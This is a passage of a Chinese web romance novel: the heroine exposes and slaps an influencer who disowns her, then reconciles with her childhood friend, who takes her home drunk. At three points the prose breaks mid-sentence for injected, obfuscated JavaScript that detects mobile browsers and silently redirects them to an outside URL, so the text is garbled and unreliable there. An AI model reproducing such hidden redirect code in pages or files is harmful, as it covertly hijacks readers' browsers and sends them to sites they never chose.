另方面她很恋家,也习惯了京市这片土地,不想去往异国他乡一待就是那么多年。爱吃东西的她也不喜欢国外的饮食,时不时吃一顿还行,可若是日日吃,她怕是会崩溃。 彼时经历了好一番拉扯,虞千绾爸妈才同意她不出国,后来高考结束的暑假,周围朋友们纷纷离开京市去往不同的国度,朋友间的联系也因为距离和时差逐渐变少。 褚曼青也是出国留学的一员,在高中时,虞千绾与她的关系是中等偏上的那种,挺不错的关系。这些年间联系虽然少了些,但时不时的会有,也经常在朋友圈点赞评论,彼此还惦记着对方。故以今日见到,两人的话匣子完全打开,在宴会厅中开辟出了自己的一方小天地,沉浸在其中聊得不亦乐乎。 褚曼青和周映灵在一个国家留学,所以知道不少周映灵在国外的新动态,跟虞千绾聊开心扉后,褚曼青声音倏地压下了些,小声问虞千绾:“之前有段时间,你家不是在网上火了一阵嘛?那个短视频,你还记得吗?” “当然记得啦,怎么了?” “我记得后来传起了你和一个男网红的事,好像还是个小明星?说你一直是他站姐,还给他花了不少钱,真的假的?” 褚曼青虽然嘴上在问真的假的,但那眼神和话腔明显是知道了些什么。 虞千绾一瞬间有些失语,真是好事不出门坏事传千里。 她无奈叹了口气笑揶:“你们在国外得知消息的速度还这么快啊?” “那看来是真的了。” 褚曼青朝虞千绾挤了挤眼,“还不都是易辉卓嘛,他比较关注你的消息,正好他看到这事的时候我们正在一个地方聚会,就都知道了。” 易辉卓,出国前追求了虞千绾好些年,算是追求她时间最久且最死皮赖脸的一位,出国后还对她念念不忘老给她发消息。在一次酒后略微失了分寸给虞千绾打电话哭诉自己有多喜欢她,拒绝了他太多次的虞千绾实在受不了这样冷不丁来一次的纠缠,直接把他拉黑了,两人之间的联系才彻底断开。 “当时周映灵也在,就她跟易辉卓扒那个男网红的信息扒的最起劲,扒了半天还说你眼光差,挑了个这样的货色,结果今天那人被她领在身边。” 褚曼青和周映灵的关系很微妙,说好不好说差不差,总归能维持个面上的礼貌,但因为和虞千绾关系好,且知晓周映灵之前怎么针对虞千绾的,褚曼青心里并不喜欢周映灵,心上的天平狠狠偏向虞千绾这边,忿忿道:“那个男网红是不是被她撬走了?” 虞千绾托腮,笑叹了声,“不得不说,她的初吐槽还挺准。” “我瞧着也是,那么轻易就被撬走,自身一点都不坚定。” 褚曼青几乎在自己的想象中确定了周映灵插足虞千绾与常桦感情的事。 虞千绾看着褚曼青为她打抱不平的愤慨样,摇头笑了笑,“其实也没有,我跟他没在一起过,只是有过暧昧。” “那也不是好东西!” 虞千绾重重点头赞同,就是心口又有些发闷了,她完全不知道常桦和周映灵是什么时候开始的,也不知道这么多年常桦究竟是怎么看她的。 毕竟是第一次喜欢一个人,最后却搞成这副样子,她还是很想知道个真相给这段关系画上句号的。 “诶。” 虞千绾扭头瞟了眼四周,只模糊辨认出远处穿着拖尾的礼服和朋友聊天的周映霜,并没发现周映灵和常桦的身影,“你是来的时候遇到他俩在一起了吗?我来的时候只看到常桦独自在跟一个我不认识的人讲话,到现在我还没见到过周映灵。” “对,我来的早一些,那会儿他俩待在一块。而且我感觉周映灵是故意的,她就是知道我们俩关系好,所以故意拉着那个男的过来跟我打招呼,还明里暗里说这个男的和你有关系,你看到可能会不高兴,不然我根本不知道那个男的就是之前网上的那个男网红。” 虞千绾哂笑,“那估计她后面会主动带着常桦来我面前,否则枉费了她这一番周折。” “往好处想,她这也算是做了个好事,让你远离渣男。” 在这事前,虞千绾对常桦的所有形容都是温润谦卑,从没想到短短时间内形容词急转,变成“这种货色”“不是好东西”“渣男”,不禁让她有些割裂感,就好像她认识这么多年的常桦并不是常桦一般。 “那男的以后就知道后悔了,我瞧着周映灵不像喜欢他的样子,他在周映灵面前就跟下属在老板面前似的,点头哈腰的,生怕周映灵不高兴。” 褚曼青竖起一根手指头,“我保证,绝对不出一个月,他就会被周映灵踹掉。周映灵这些年在国外谈的那些对象完全不是这个常桦能比的类型,白嫩白嫩的看着太弱了,而且就是个小网红,玩玩得了,咱们怎么可能跟这样的人结婚。” 虞千绾越听越感觉自己没出息,讪讪尬笑了声。 …… 聊天又过了几个话题。 褚曼青忽然对着虞千绾身后抬了抬下颚示意,“被你说准了,还真来了。” 虞千绾扭头看去,只见周映灵和常桦在朝她们这边走过来,她和常桦的视线就这么乍然隔空对上,常桦一瞬就错开了视线。 虽然隔着一段距离,但虞千绾感觉到常桦的慌乱,她端坐着身形,故作不经意地转回头,拿起饮料轻抿了口,思绪和心脏却乱得要命。 背对着他们,虞千绾看不到他们距离她还有多远的距离,只闻坐在她对面正好能看到他们的褚曼青匪夷所思地咕哝声:“诶?居然不是来找你的。” 虞千绾又扭过头去看,这才发现他们原来是去往的庭院的方向,庭院入口就在距离她们不远处。 捏着杯壁的手一松又是一紧,好烦……为什么还不来找她?她想彻彻底底看清楚常桦同时面对她们俩时的嘴脸,想看看现在的常桦究竟多么的让她陌生。 就在虞千绾刚压下这股烦闷时,手机屏幕亮起。 还是通过短信发来的。 ——[从南边的小门来庭院,看看自己的眼光有多差。] 一串完全没备注的号码,虞千绾却瞬间确定了来信人,认识但关系差到连个微信都没加的人也就只有她了。 虞千绾登时坐立难安起来。 恰好,又有两个结伴的老朋友发现了她们,过来搭话怀旧。虞千绾趁机起了身,借口说去趟卫生间同大家分开,独自寻找了出来。 庭院估摸有两个入口,不然周映灵也不会在短信里特别提说南边的小门,但很糟糕,虞千绾分不清东西南北,第一次来这家酒店对这里也不熟,不知道另道门在哪,还是通过询问服务生才终于寻到。 天色渐晚,室外的灯已经亮起。 自小门延伸至庭院里的那截小道估摸着没太多人走,灯光并不亮堂,只在路两边每隔一两米设有盏昏黄的落地小灯晕开浅色的光圈,装饰性大于实用性,而且道路还不是连接起来的,而是一节一节的,就像是无数个台阶拼接而成,每两块地砖之间是湿润的泥土,其上有些绿草和小花。 刚从灯光明亮的宴会厅过来,虞千绾的眼睛还没适应此处的昏暗,加之穿着礼服和高跟鞋在这样的道路上行动略有不便,她便走得格外谨慎缓慢。 渐渐远离宴会厅,周遭的声音变得寂寥,只有些不知名虫子的叫声此起彼伏地从矮丛里传出。 小道尽头便是给客人观赏、休憩用的庭院,光线很足。就在逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16274070|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐靠近光亮的途中,虞千绾忽然听到了人声。碍于距离,她听不清那人具体在说什么,只知道有人在说话。 念及周映灵的短信,虞千绾步伐下意识放轻,呼吸微屏,尽量不让高跟鞋跟踩在地砖上发出太大声响被觉察。 随着愈发靠近光亮,人声也就越明显,共有一男一女两道声音,所聊的话也没个重点,东扯扯西扯扯的。 和周映灵太多年没见,虞千绾已经有些记不清她的声线了,但是常桦的声音虞千绾无比熟悉。 就在距离光亮咫尺之距,虞千绾却停住了步伐。 未知让人害怕,下定决心让未知变成事实的那一瞬间也很艰难。 手指蜷了又松,眉头紧了又紧。 到底,虞千绾还是半个身子探出了昏暗,亲眼看到了周映灵和背对着她的常桦。 周映灵显然一直注意着这个方向,虞千绾出现的那一秒她就看到了她,两人的视线短暂对视。 终于可以结束无聊的话题。 周映灵双手环胸,本和常桦笑吟吟的神情骤变为皮笑肉不笑的姿态,食指抵在常桦胸膛把他推着往后了几步,声调微抬,“你刚刚看到虞千绾就躲开是什么意思?怕她看到我们俩在一起?” 常桦背对着小道,完全不知虞千绾的到来,更不知自己在无意中被周映灵推着靠近了她,声音更为清晰的落入虞千绾耳朵里,“怎么可能?那有什么好怕的?只是我们本来就要来庭院啊,我依着正常路线走而已。” “常桦,我没虞千绾那么单纯好哄,别拿这种话糊弄我。” 周映灵收回手,似有些嫌脏的顺手捻住一旁的小树叶子磨了磨指腹,“我既然说出来,就说明我确定你在见到虞千绾的时候心慌了,你要做的只是回答我的问题。” 一贯的话术在周映灵面前毫无用处,常桦一时间沉默住了,说不出话来。 “怎么?还惦记着虞千绾呢?喜欢她?想跟她在一起?” “怎么会映灵,我跟你说过的,我不喜欢她,和她什么关系都没有。” 熟悉的声音,陌生的话语。 虞千绾瞳孔猛地颤了颤,僵硬麻木感自足底迅速攀涌,遍布四肢百骸。 “什么关系都没有?” 周映灵悠悠反问:“如果什么关系都没有,你直播的时候她为什么去给你打赏那么多钱,为什么她天天经营宣传你的账号,为什么又去你的线下支持?” “映灵……” 常桦声音低沉了下去,他一旦如此说话,声线仿佛天然有一种无可奈何的破碎感,“我真的和虞千绾没有任何感情上的纠缠,但你知道的,她是嘉澍集团的接班人,随便一句话就能将我彻底在娱乐圈封杀,我家世普通想在娱乐圈闯荡下去没有办法,只能对她阳奉阴违。但是你想,如果我真的喜欢她,我早就可以和她在一起了,那她一定会助我在娱乐圈打拼,我又何必到现在还这样在娱乐圈查无此人呢?” “这些话我本来不想和你说的,可不想你因为传言乱想伤了心也不想你误解我。” “映灵,你对这样的我很失望吗?抱歉,如果你很介意我曾经碍于权势对虞千绾敢怒不敢言的话,我以后一定不会再出现在你的面前,只会……在背后默默喜欢你。” ——【“你对这样的我很失望吗?”】 又是这句话,虞千绾嗓子眼突然漫起一阵生理性反胃,险些没抑住干呕出声。 眼圈被呕意逼红,毫无想象中知晓时的难过和心寒,更多的是恶心,恶心自己居然跟这么一个人拉拉扯扯了这么多年。 “我说了,你只需要回答我的问题,别跟我装。” 周映灵完全不吃常桦这套,听着就烦,“我再问你最后一遍,你这么多年,从来没喜欢过虞千绾?一点都没有?” “没有。” 常桦回答的异常果决,甚至为了在周映灵面前表忠心还又补充道:“这么多年都是虞千绾在缠着我,我很烦但没有办法,她不仅用嘉澍集团压我,还给我经纪人压力,搞得我经纪人都来找我很多次,警告我不许违了虞千绾的意。但在遇到你以后我已经和她说清楚了,以后不会再有任何纠葛的。” “哦?” 周映灵挑了挑眉,顺着他的话问:“之前不敢断,怕她封杀你,现在怎么敢了?” “因为我喜欢你,我想和你交往,不能让你受这种委屈。” 常桦一脸情深的样子,看起来跟真的似的。 “是嘛。” 周映灵突然笑的很灿烂,“我还以为你是觉得做我男朋友后不管虞千绾怎么对你我都会帮你拦下处理好呢。” “怎么会?我的事情我会处理好,我们之间只是感情,不掺杂任何利益。” “确实。” 周映灵一本正经点了点头,“我也是这么想,感情就得纯粹,不能掺杂一点点旁的东西,那样显得好像是为利而来,所以以后,我不会帮你一点的,你的事业还得靠你自己。” 常桦表情有一瞬间的僵愣,虽然很快调整过来可那笑容明显有些勉强,“……当然。” “行,那你等着被封杀吧。” 虞千绾的声音完全不设防地从身后传来,常桦眼睛瞪大,表情管理失了控,胳膊漫起鸡皮疙瘩,脑袋猛地朝后一转,真就对上了一脸平淡站在那儿的虞千绾,脸色煞白下去,唇瓣翕动却没发出声。 周映灵掩唇故作惊讶,“呀,原来常桦说的是真的呀,虞千绾你还真是一直拿封杀威胁他。” “对。” 虞千绾只觉得现在跟他扯什么这些年她对他的付出,她对他的爱意很愚蠢,除了显得自己很傻很可笑外没有任何用处,于是她直接顺着常桦那些离谱的胡话往下,“不仅打算封杀他在娱乐圈,还打算让他滚出京市。” 常桦立在原地一动不动,懦弱又无能。 虞千绾忽而笑了声,视线掠过他,看向周映灵,“你确定到时候不帮帮你男朋友?” “NONONO。” 周映灵晃了晃手指,“我跟他毫无关系,看场戏罢了。” 听到这话的常桦震惊看向周映灵,宛若大梦初醒,意识到这一切都是周映灵做的局。 他上前两步就挨近虞千绾,“千绾,我——” 眼前忽然一道劲风刮过,视线也晃了下。 “啪——”的一声。 虞千绾用了十足十的劲狠狠地扇到了常桦脸上,力道反震的她手心都隐隐发麻,垂下的手止不住的发颤,她急遽捏住不想让人觉察。 常桦的脸也被这猝不及防的一巴掌打到微微偏过去,额前碎发都是一震。 “真是个垃圾。” 虞千绾到底没忍住低骂了声。 “今日以后,我所参加的场合,你怕是连张入场券都拿不到。” 强撑着,伪装着高傲丢下这么一句,虞千绾转身就走,再不看常桦一眼。 她不想看,也不能看。 否则模糊的视线就会丢脸的暴露在他们面前。 来时摸索着走了好一会儿的小道,回去时只用了三分之一的时间。 每一步,虞千绾都迈得很大,只想快些远离这个曾经让她那么喜欢,如今却让她如此恶心的人。 就在距离小门不远的地方有一个半敞着门的储物间,里面空荡荡的没有人,虞千绾顾及不了太多,泪水已经彻底蓄满了眼眶濒临崩溃点,她迅速进到储物间,反手关上了门,背就靠在门后,这才敢放任眼泪连成串似的疯狂下坠。 豆大的泪珠砸到胳膊上的刹那,虞千绾心口更酸了,她又忆起那日商恪景落到她胳膊上的泪,眼泪掉得更快,心里对商恪景的愧疚之情也更甚。 哭咽着,颤抖着手,虞千绾艰难从包里拿出手机,短短一会儿的功夫满脸都是泪痕,手机面部识别都打不开,泪也总往手机屏幕上掉,把屏幕也给模糊了。 她只能用潮湿的手擦拭着潮湿的屏幕,但屏幕沾了水触控不灵敏,总在她努力绷着颤抖的手指输入密码时自动弹入别的数字,数不清删减重按了多少次虞千绾才终于拨出电话。 她很怕,怕商恪景不接,怕他真不理她了。 放在商恪景身上的情绪越过常桦,虞千绾连哭泣都闷下,紧抿着唇瓣紧张听着手机里的机械音,但刚刚哭得太厉害,身体一时间还没缓过来,胸膛控制不住地起伏着,鼻息间时而漫出声很轻很轻的抽噎。 听筒里传出的待接机械音响了很久,久到冷不丁出现一声嘟音她还以为是自动挂断的提醒。 但放下手机再查看时才发现,电话被接通了,手机屏幕上的时间正在一秒一秒地变动着。 虞千绾一怔,赶忙又将手机贴回耳边。 刚刚明明抑下的眼泪在这刻又放肆漫出,甚至比原先还要猛烈,委屈自责伤心各种情绪一同泄出,泪水根本克制不住,抽泣声也没能抑住,通过手机全数传入商恪景耳中。 她一句话没说却足以让商恪景缴械投降,“在哪?” 18. 第 18 章 依着微信里虞千绾发来的定位寻到她的位置,远远看到她单薄的身形时,商恪景心头很不是滋味。 她分明穿着一身精致漂亮的礼服,却蹲在破败黑暗的楼梯前,非常不合拍的场景,看起来就不该出现在一幕中。 虞千绾下半张脸埋在膝上,纤长浓密的发丝垂下遮掩住她的全部面庞,微颤的肩背透露着她仍在哭泣的信号。 哭了太久,虞千绾耳朵都有些发嗡,脚步声都要行至面前她才隐约听到,还不待她抬起头循声看去,发顶就被一只温暖的大手覆上,很轻很缓地在她发心揉了揉,“回家了,虞千绾。” 虞千绾的泪其实快要止住了,就是时不时还会挤出几滴,但感受到头顶的温暖,听到熟悉的声音,她的嘴唇又在瞬间瘪起,哭到发干的眼睛也一同噙上湿热,与不久前发现他接通她电话时的状态一样。 真奇怪,伤心的时候都不会流这么多的泪,为什么却在感知到关怀和宽慰的时候哭得一发不可收拾呢。 抬起头前,虞千绾用手背迅速在眼前抹了把,但却没什么用,因为她的手早被眼泪浸湿,没一处是干的。而且,真掀眸看到商恪景的那刻,情绪直接攀至顶峰,一滴浑圆的泪珠就这么毫无积蓄之意的从她眼眶里“啪嗒”坠下。 虞千绾不想被人看到自己的狼狈,和商恪景通完电话后就直接从就近的酒店后门跑了出来,边哭边往前直至这处看起来鲜有人至的荒废球场才停下,默默抱膝蜷缩在灯光照不到的昏暗角落里。 那会儿的她并不想被光亮刺着,她只想躲起来,逃避会儿现实。 但以最快时间赶过来的商恪景就这么半俯着身立在她面前,立在光亮下,他们的鞋头之间有着一道明显的明暗分界线。 然后,她看着商恪景蹲下身,微倾的上半身融入与她一样的昏暗中。 温热干燥的拇指指腹覆到她湿的仿佛能摁出水的眼尾,与她那汪湿亮热切的圆碌碌大眼睛交视,少见她如此看着自己,商恪景有些招架不住这份炽热,没几秒就率先别开了视线,口是心非的声音越说越轻,“虞千绾,你哭得好丑,妆都花了……” 想象中的回怼没有发生,指尖反倒感受到了更甚的湿意。 商恪景一时间有些手足无措,打小相识的他们嘴硬互呛惯了,有些话不太过脑子就那么顺口出去了。别人频频称赞的荣光和被别人瞧见会尴尬的窘态他们平常对待,习惯用行动而非话语表达关切,在对方面前丑态毕露都没那么不自在,却极不擅长面对对方的脆弱与眼泪。 还当是自己刚刚那句话说得她更加伤心,商恪景有些别扭的动了动唇,但没发出声来,刚欲忍下莫名的羞耻感直白夸她漂亮,身前身影一晃,虞千绾突然倾身拥了上来,直接将商恪景抱了个满怀。 毫不设防的动作,商恪景身形被撞得也是往后不自觉一仰,但很快就回过身稳住了身形,眼睛睁到最大。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16291990|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从未有过的亲昵,商恪景呼吸都屏住了,属于她的那抹馨香却还在死命往他鼻腔里钻,商恪景浑身都感到一阵酥麻,手脚彻底的僵住了。 “……对不起。” 可怜的破碎音节自他耳畔哽咽着往心口渡,“对不起商恪景……” “我那天不该那么跟你说话,还害得你哭,我就该一早放弃常桦的。” “你跟我、跟我……”虞千绾边哭边说话,断句完全没法自控,哪口气喘不上来就断在那,缓到能说出话的时候再继续,“跟我和好行吗?” “我真的很珍惜你这个朋友,我想一直一直和你做好朋友。” “我保证,以后无论你说什么,我都会不仅相信你,还第一时间完全站在你这边,我们别再别扭了,好嘛?” 怀里是柔软的身躯,肩膀是她不断落下洇湿了衣料深入的热泪,可这么关切承诺的话落到心里怎么就那么让他难受呢…… 朋友,好朋友。 依旧只是朋友。 即使现在的她不知什么缘故看清了常桦决意放弃,他依旧不在她对异性的考量中。 心冷着,肢体反倒恢复了些控制力,没再那么僵持。 喉头艰难上下滚动几下,很寻常的抬手动作,商恪景却做得那样笨拙。 缓缓地、一下两下,他的掌心自虞千绾颈后抚到她背后,试图为她捋平些哭不成调的声,涩哑的声应:“……好。” 19. 第 19 章 虞千绾原本是没哭的。 但又喝了些酒后理智彻底被酒精吞噬,醉了个彻底。正值理性全无全是感性的阶段,好死不死,酒吧还放起了悲伤的抒情歌。 这一次,无需商恪景主动,虞千绾就自觉将脑袋埋进让她感到温暖的胸膛里呜呜呜抽噎了起来,双手紧紧揪着他腰际两侧的衣料,后来许是一直维持这个姿势挺累,她直接就将手环在了他腰后抱着,脸也埋得更深。 商恪景边抚摸着她的脑袋顺着她的发安慰着边想,她真是醉了,也是伤心透了,但凡身心还有些清醒在,她都决计做不出这种亲密举动的。这种主动挨靠过来长时间抱腰哭泣的依赖姿态与在楼梯前闹完别扭后的重逢拥抱并不相同。起码,他是这么认为,怀里的醉鬼显然没有这种认知。 商恪景一边有着这样明白的认知,一边却又眷念于她的靠近,矛盾的难受又希冀着。 哭着哭着,不知是累了困了还是醉迷糊了,总归当商恪景意识到怀里好一阵没传出动静的时候小心翼翼托起她潮湿的脸颊一看,人儿已经睡着了。 即使是睡着,虞千绾的模样看起来都惹人怜极了。 鼻尖和眼尾都因为大哭过泛着红,眼睫毛湿漉漉的,眉毛和嘴唇一皱一撇,脸颊也因为在他怀里埋着哭了太久闷出了些薄红,每一处都透着失恋的难过。 醉了睡了也有一点好。 她老实了不少,不会在穿外套的时候嫌丑嫌他眼光差。 商恪景就这么把她的脑袋又挨回自己胸口靠着,动作轻柔地擎起她胳膊传入袖管里。 一方面是怕吵醒她,另方面是想再在这样不知还会不会有的亲昵中久留一会儿、再一会儿…… 心思起了又起,根本压不住。 不知在脑海里回荡了多少个来回,商恪景到底是没闷住仗着她醉酒熟睡才敢出声:“……虞千绾,你得什么时候才能看到我?” 像是问询,又像是自身无奈至极的喟叹。 声调本就轻,在酒吧的热闹里更是被迅速淹没,淡到随风而散,好像没诉出过。 - 时至凌晨。 室外的风又冷峻了几分,让人有了秋的实感。 虞千绾那双光洁的小腿依旧暴露在空气中,流动的冷风一吹,睡梦中的身影不禁打了个寒颤,下意识往温暖处贴近、扒紧,嘴里含糊咕哝了句:“冷……” 商恪景不敢乱动生怕逾矩的手这才又用了些劲将她抱得再紧些,身子也尽可能地下压为她挡住些迎面袭来的风,步伐亦加快往车的方向去。 酒吧离校外小区很近,十分钟左右的车程。 虞千绾没在车后座安睡一会儿就又被抱起离开温暖的环境进到冷风中,接连两次,她昏沉的脑袋都被刺激地短暂清醒了一刹。 眼皮一睁,入眼已是熟悉的环境,人有些懵地嘀咕了句:“都到家了……” “嗯?就要到了。” 商恪景还挺意外她突然的声,低头的同时撑着她脑袋的大臂微微向上又托了些方便他看清她的脸,“醒神了?” 很显然,他想多了,某人脸一仰朝他嘿嘿一笑,极其莫名的傻气行为,打了商恪景一个措手不及。跟着头一歪,脸又朝着他的胸膛阖眼安睡了。 一个人到底怎么会可爱到这个程度,喝醉都这么讨人喜欢。 商恪景不知道,反正眉眼间因为她这忽然的憨笑一同染上笑意,喉间也没绷住漾出声低笑。 进到所住的那栋楼,室外的冷意瞬间被严实的墙抵挡住,虞千绾一直被冻着的小腿终于得以拯救。 电梯恰就停在一楼无需多等,商恪景曲指摁了下,电梯门开了又关,很快载着他们去到15层。 商恪景抱着虞千绾轻车熟路去到她家门口,却在输密码这步顿住,刚欲微抬的手迅速下落攥起。 第一次公主抱女生,商恪景没什么经验,手上有些笨拙。何况还是心仪的女生,动作更是小心小心再小心,慎之又慎。抱松了怕她稍一动就摔着她,抱紧了又怕勒着她,总怕她不舒服。而且她还穿着裙子,抱起来得多加注意,否则容易走光,他还得帮她压住裙摆,可又不能压太多裙料,不然太往上可能会误碰到不该碰的地方。 一个简单的动作,商恪景脑子里却想了很多。 所以抱着虞千绾的这一程,商恪景基本就维持着抱起她那瞬间的动作不再多动一下,手腕连着的在使劲的小臂大臂那块都要僵住,渐渐有些发酸。 饶是如此,他还是无比眷念当下的时光,并不想这么快就进到家里放下她。 她这么安静,这么亲昵的在他怀里。 恐是余生都不会再有一次。 而且,此时熟睡的她什么都不会看到,他也不用伪装什么,可以大胆地直视她,用一双明明白白表达着喜欢的眼神。 坚持到确实要没力,怕让虞千绾感到不舒服,商恪景这才开了门进到她家里。 两人虽然熟,但毕竟男女有别,卧室这种私密地方,他们还是很少进去的,尤其商恪景对虞千绾,大多时候就站在门口。时而就算进去也是对方提的,去帮忙拿个东西或做什么搭把手,很快也就出来。 可当下虞千绾喝醉了没办法,商恪景总不可能把她喊起来让她自己走进去,何况就算把她喊醒,她能不能走条直线都未可知。 商恪景目不斜视地抱着虞千绾进到卧室,打算把她放下盖好被子就离开。 哪知就在把虞千绾放在床上的那刻,她不知怎的,整个身子一惊突然睁开了眼。 不知她究竟是清醒还是醉酒状态下,商恪景一时间绷着弓着的身子也不敢动,想着以她刚刚的姿态很可能转头寻了个舒服姿势又继续睡了,他出声反倒吵着她。 但他还不能走——她身上还穿着他的西装外套,让她穿着礼服睡觉已经够不舒服了,要是连西装外套都不脱,这一夜睡得怕是难受至极。 两人视线就这么无声地一上一下对了半分钟。 虞千绾也不知在想什么,冷不丁伸手在商恪景脸上掐了下,不轻的一下,他始料未及地偏头躲开,痛嘶了声,暧昧氛围也瞬间消散,“虞千绾,我费劲给你弄回来,你就这么对我?” 圆润的眼睛眨了眨,虞千绾拽着被子安心躺在床上,开口的声还混着些醉酒的缥缈感,“我还以为我做梦呢。” 在今日之前,商恪景不止一次地听虞千绾跟他说过她做梦梦到常桦的事,她面上一副忸怩样,说的话做的梦可不忸怩,好些次梦到和常桦接吻。 虽然日后常桦这人可能就从他们的生活里消失了,但听过太多个日夜,商恪景一时间还没习惯虞千绾放弃常桦这事,下意识地就要说:“你做梦能梦到我?你从来都是——” 话到这,他想起来了。 紧急止住。 幸而虞千绾没反应过来,声音踩着他的尾音就出,“当然会梦到你,这两天跟你闹别扭就梦到你说要跟我绝交,以后都不跟我玩了。” 商恪景有些不想说话。 怎么梦到他就是绝交,梦到常桦就是接吻。 “还梦到我怎么找你和好你都不同意,送你的信你原封不动放回了我家玄关,给你发的短信你也总是不回,说好晚上回来吃晚饭的也没回,一直一直在躲着我……” 虞千绾声音越说越小,鼻头轻轻吸了吸,似有些委屈到要哭的意思。 商恪景都不知道虞千绾到底说的是梦、现实还是醉话,但那天虞千绾给他发消息说他回来跟她说一声她请他吃饭,他后续确实没回来。 自知理亏,商恪景同她解释,“没有故意躲着你。是薄正卿,他玩机车摔着了,住院了,他不敢跟他爸妈说,我在那陪着的。” “至于那条消息……我回嗯还故意加个句号是想让你多哄我几句的……因为看到你主动发消息过来我还是挺开心的。” 主动向她剖析自己的情绪,商恪景还有些别扭,现在和好去说那些感觉有些矫情,“哪知道你就回了个表情包,也不多哄我……” “我看你还在账号上按时发常桦的宣传视频,就以为你还放不下他,想着这么回来跟你去吃饭也没什么意思,根本问题还是没解决,聊到还是容易起冲突。正好当时薄正卿情况严重了起来,有些轻微脑震荡,我就留在医院住了一晚。” “嗯?账号?” 虞千绾就像是听到什么天大的敏感词,本来都裹好被子躺平了,突然就要起来。 但她本来就没多清醒,这么一动,视线和脑袋都是一阵天旋地转,就连胃中都好像在翻涌,她突然就呕了下,商恪景紧急拉过来垃圾桶,但虞千绾没吐出来,难受的在那将手握拳死命往胸口锤着。 她越捶越重,商恪景紧急攥住她的手,把她重新按回床上躺好,“别乱动,我去给你弄杯蜂蜜水喝,有什么都等我回来。” 跟喝醉的人沟通实在困难,就算虞千绾应了,商恪景都不知道她是真听进去了还是喝醉酒在胡乱哼唧。 他只得在踏出卧室前一步三回头看她状态,嘴上反复叮嘱,出门时将卧室门敞到最大以便有任何动静能第一时间落到他耳中,踏出卧室后小跑着以最快速度兑好蜂蜜水回来喂给虞千绾喝。 虞千绾人生第一次喝醉,全然陌生的体验让她觉得自己难受极了,头一动就犯晕,就连被商恪景托起后脑勺喂水的时候都缓了几秒。 肚子里酒水太多,虞千绾其实是喝不太下去水的,但含了小半口蜂蜜水后突然觉得嗓子很舒服,冰凉的胃里也暖暖的,便又浅浅地抿了几口,脑袋嗡嗡的胀痛感好像确实被驱散了些。 商恪景见她闭着眼又想睡的模样,赶忙将水杯放在床头柜上,转而帮她解着西装扣,趁她还没完全睡着的时候让她配合着侧起些身迅速脱掉了外套。 给虞千绾盖好被子后,商恪景又将蜂蜜水往床头柜的另边放了放,防止离太近她翻身时一个不注意挥上去弄洒。 “睡吧,要是难受记得给我发消息,我就先回去了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16303645|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虞千绾嘴唇微动,轻的像呓语般说了什么,商恪景没听清,“什么?” 他凑上耳朵细听,只闻她说:“手机……” 商恪景这才想起她的包还一直被自己挂在身上,抱她的时候怕硌着她,所以包没挂在前面,而是贴在他背后,里头就一个手机和口红,重量太轻,他忙起来都忘了这茬。 脱下包包,拉开拉链拿出手机,商恪景还点亮手机屏幕查看了眼电量,还有百分之七十多,够用。 他这才安心将手机放在床头,“手机也给你放这了,不舒服就给我打电话。” “嗯~” 虞千绾又哼出声抗拒的声,商恪景拿她没辙的笑了声,但又很难不被她醉酒后的黏糊腔调勾到,心口软软化化的,就连他的腔调也被感染到仿佛微微有些波浪号,“怎么了?” “账号,删掉……” 虞千绾眼睛睁开也有些发晕,短暂看了商恪景一瞬又合上,“我这几天都没用短视频APP,忘记之前自动定时的那些视频了,你帮我全都删掉吧,我不想再有人因为我喜欢上他,那真是又多祸害了一个人……” “你确定?” “嗯……” 虞千绾直接把手机密码告诉了商恪景,脑子里还有意识的最后一件事处理完,她彻底没了劲,“头好晕,我睡了。” 虞千绾确定放弃后的果决比商恪景想象的还要甚,他自然高兴于她的举措,可真点入短视频APP,看着一串99+的未读评论和点赞,以及她花了许多时间剪辑的视频养成的号,他心情一时间又有些复杂。 每一条视频都代表了一个时期的她。 商恪景看着视频,脑海里甚至都能对应上她剪辑时的碎碎念,或是剪辑完后的炫耀,总归都是笑脸。 商恪景最终却还是没直接摁下删除键,而是选择了隐藏。 酒后的话,他不知她是否说的时候清醒着,不知她明天起来会不会后悔。 如果不后悔自然最好,她大可以自己亲自删除,也亲自宣告了一段关系的结束。 如若后悔……也都随她。 毕竟是她的产物,一切选择都该由她。 这一天,商恪景其实想象过很多次。 他也知道虞千绾作为付出更多用情更深的那一方肯定会难受,但真亲眼看着她难受成这样,商恪景心绪也远比想象的更沉。 灭了灯,轻手轻脚关了门回到自己家。 率先映入眼帘的却是一个放置在玄关柜上的包装精美的礼物盒。 商恪景一怔,连门都没来及关就去拆。 里头安静放置着一封信,他这才知虞千绾那话不是醉话,她是真的给他写了信。 心脏又开始鼓噪。 商恪景极其精细地拆开信封,生怕弄皱一点。 